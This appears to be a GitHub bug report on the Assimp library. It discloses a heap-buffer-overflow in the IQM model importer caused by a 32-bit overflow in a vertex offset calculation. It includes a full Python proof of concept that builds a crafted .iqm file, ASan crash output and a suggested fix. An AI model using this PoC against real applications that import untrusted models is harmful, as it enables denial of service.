Bug:Heap-buffer-overflow in IQM importer due to integer overflow in first_vertex * array->size
Heap-buffer-overflow in IQM importer due to integer overflow in first_vertex * array->size
Summary
A heap-buffer-overflow can be triggered in Assimp's IQM importer when parsing a crafted Inter-Quake Model (.iqm) file.
The issue is located in the IQM importer, specifically in the vertex attribute parsing logic in:
code/AssetLib/IQM/IQMImporter.cppThe parser uses attacker-controlled values from the IQM file to calculate the starting offset of vertex data:
imesh->first_vertex * array->sizeBoth first_vertex and array->size are derived from the input file. The multiplication is performed using 32-bit unsigned arithmetic. When the product overflows, the result wraps around and causes the parser to read vertex data from an incorrect location inside the file buffer.
This can lead to an out-of-bounds read and a crash detected by AddressSanitizer.
Affected Component
Assimp IQM importer
code/AssetLib/IQM/IQMImporter.cppThe issue affects builds where the IQM importer is enabled. The IQM importer appears to be enabled by default unless ASSIMP_BUILD_NO_IQM_IMPORTER is defined.
Vulnerability Type
CWE-190: Integer Overflow or Wraparound
CWE-125: Out-of-bounds ReadRoot Cause
The IQM importer computes the vertex data pointer using:
imesh->first_vertex * array->sizewhere:
imesh->first_vertexcomes from theiqmmeshchunk.array->sizecomes from theiqmvertexarraychunk.- Both fields are attacker-controlled through the input IQM file.
For example:
first_vertex = 0x55555556
array->size = 3The mathematical product is:
0x55555556 * 3 = 0x100000002However, when computed as a 32-bit unsigned integer, the value wraps around to:
0x00000002As a result, the calculated pointer points near the beginning of the file buffer instead of the intended vertex data region. The subsequent parsing loop then reads nVerts * array->size float values from this incorrect location, eventually causing a heap-buffer-overflow.
The same pattern appears to affect multiple vertex attribute parsing paths, including position, texcoord, normal, and color data.
Reproduction Environment
Tested on:
Ubuntu 22.04 / Ubuntu 24.04Build configuration:
git clone https://github.com/assimp/assimp.git --depth 1
cd assimp
mkdir build_asan
cd build_asan
cmake .. \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DASSIMP_BUILD_TESTS=OFF \
-DBUILD_SHARED_LIBS=OFF \
-DASSIMP_BUILD_ASSIMP_TOOLS=ON
make -j$(nproc) assimp assimp_cmdThe ASan-enabled command line tool is generated as:
build_asan/bin/assimpdProof of Concept
The following Python script generates a malformed .iqm file that triggers the issue.
import struct
def u32(v):
return struct.pack("<I", v & 0xFFFFFFFF)
MAGIC = b"INTERQUAKEMODEL\x00"
VERSION = 2
NUM_MESHES = 1
NUM_VERTEXARRAYS = 3
FIRST_VERTEX = 0x55555556
NUM_VERTEXES = 0x4B
NUM_TRIANGLES = 0x65
HDR_SIZE = 124
TEXT_SIZE = 64
MESHES_OFFSET = HDR_SIZE + TEXT_SIZE
MESHES_SIZE = NUM_MESHES * 24
VARRAYS_OFFSET = MESHES_OFFSET + MESHES_SIZE
VARRAYS_SIZE = NUM_VERTEXARRAYS * 24
TRIS_OFFSET = VARRAYS_OFFSET + VARRAYS_SIZE
TRIS_SIZE = NUM_TRIANGLES * 12
ADJ_OFFSET = TRIS_OFFSET + TRIS_SIZE
VERTEX_DATA_OFFSET = ADJ_OFFSET
VERTEX_DATA_SIZE = 0x4000
FILESIZE = VERTEX_DATA_OFFSET + VERTEX_DATA_SIZE
data = bytearray()
hdr = bytearray(124)
hdr[0:16] = MAGIC
struct.pack_into("<I", hdr, 16, VERSION)
struct.pack_into("<I", hdr, 20, FILESIZE)
struct.pack_into("<I", hdr, 24, 0)
struct.pack_into("<I", hdr, 28, 2)
struct.pack_into("<I", hdr, 32, HDR_SIZE)
struct.pack_into("<I", hdr, 36, NUM_MESHES)
struct.pack_into("<I", hdr, 40, MESHES_OFFSET)
struct.pack_into("<I", hdr, 44, NUM_VERTEXARRAYS)
struct.pack_into("<I", hdr, 48, 0)
struct.pack_into("<I", hdr, 52, VARRAYS_OFFSET)
struct.pack_into("<I", hdr, 56, NUM_TRIANGLES)
struct.pack_into("<I", hdr, 60, TRIS_OFFSET)
struct.pack_into("<I", hdr, 64, ADJ_OFFSET)
struct.pack_into("<I", hdr, 108, 0)
struct.pack_into("<I", hdr, 112, 0)
struct.pack_into("<I", hdr, 116, 0)
struct.pack_into("<I", hdr, 120, 0)
data += hdr
data += b"Body\x00Body.jpg\x00Head\x00Head.jpg\x00Root\x00Spine.jpg\x00"
mesh = struct.pack(
"<IIIIII",
0,
0,
FIRST_VERTEX,
NUM_VERTEXES,
0,
NUM_TRIANGLES,
)
data += mesh + b"\x00" * (MESHES_SIZE - len(mesh))
for vtype, fmt, sz in [
(0, 7, 3),
(1, 7, 2),
(2, 7, 3),
]:
va = struct.pack("<IIIII", vtype, 0, fmt, sz, VERTEX_DATA_OFFSET)
data += va
for i in range(NUM_TRIANGLES):
data += struct.pack(
"<III",
i * 3 % NUM_VERTEXES,
(i * 3 + 1) % NUM_VERTEXES,
(i * 3 + 2) % NUM_VERTEXES,
)
data += b"\x00" * (NUM_TRIANGLES * 12)
data += b"\x00" * VERTEX_DATA_SIZE
with open("iqm_overflow.iqm", "wb") as f:
f.write(data)
print(f"PoC size: {len(data)} bytes")
print(f"first_vertex=0x{FIRST_VERTEX:08X}, step=3")
print(
f"first_vertex*step = 0x{FIRST_VERTEX * 3:016X} "
f"-> 32-bit wraparound = 0x{(FIRST_VERTEX * 3) & 0xFFFFFFFF:08X}"
)Generate the PoC file:
python3 gen_iqm_poc.pyThis creates:
iqm_overflow.iqmSteps to Reproduce
./bin/assimpd info ./iqm_overflow.iqmAddressSanitizer Output
=================================================================
==25985==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x748bbf1128a0 at pc 0x624c8ffe2d61 bp 0x7ffc1ba53130 sp 0x7ffc1ba53120
READ of size 4 at 0x748bbf1128a0 thread T0
#0 0x624c8ffe2d60 in Assimp::IQMImporter::InternReadFile(...)
code/AssetLib/IQM/IQMImporter.cpp:224
#1 0x624c8fcc00fb in Assimp::BaseImporter::ReadFile(...)
code/Common/BaseImporter.cpp:131
#2 0x624c8f85583c in Assimp::Importer::ReadFile(char const*, unsigned int)
code/Common/Importer.cpp:709
#3 0x624c8f83f775 in Assimp::Importer::ReadFile(...)
include/assimp/Importer.hpp:672
#4 0x624c8f83cbf9 in ImportModel(...)
tools/assimp_cmd/Main.cpp:307
#5 0x624c8f8472c3 in Assimp_Info(...)
tools/assimp_cmd/Info.cpp:344
#6 0x624c8f83c665 in main
tools/assimp_cmd/Main.cpp:222
0x748bbf1128a0 is located 400 bytes to the right of 257808-byte region
[0x748bbf0d3800,0x748bbf112710)
SUMMARY: AddressSanitizer: heap-buffer-overflow IQMImporter.cpp:224 in Assimp::IQMImporter::InternReadFile(...)
==25985==ABORTINGExpected Behavior
Assimp should reject the malformed IQM file with a validation error and should not perform out-of-bounds memory reads.
Actual Behavior
Assimp calculates an incorrect vertex data pointer due to 32-bit integer overflow and then performs an out-of-bounds read while parsing vertex attributes.
Suggested Fix
Before using first_vertex * array->size to compute a pointer offset, the importer should validate the multiplication using a wider integer type or explicit overflow checks.
For example, the parser should reject the file if:
first_vertex > UINT32_MAX / array->sizeor, preferably, compute the offset using size_t / uint64_t and validate that the final byte range remains within the file buffer before reading:
offset = ofs_vertexarrays + first_vertex * array->size * sizeof(float)
required_size = nVerts * array->size * sizeof(float)
offset + required_size <= file_sizeSimilar validation should be applied to all vertex attribute paths that use first_vertex * array->size, including position, texcoord, normal, and color arrays.
Impact
A crafted IQM file can cause Assimp to read outside the allocated file buffer, resulting in a crash. This can lead to denial of service in applications that import untrusted model files through Assimp.
Depending on allocator behavior and surrounding memory layout, the out-of-bounds read may also expose memory safety concerns beyond a simple crash, so the affected offset calculation should be treated as a security-relevant parser bug.
Additional Notes
The vulnerability is triggered only through a malformed input file. No source code modification or direct internal API call is required. The crash is reproduced by invoking the compiled Assimp command-line tool on the crafted .iqm file.
https://github.com/user-attachments/assets/c86d47d6-c146-479e-b9e1-9a977fec5dc5
Source: assimp/assimp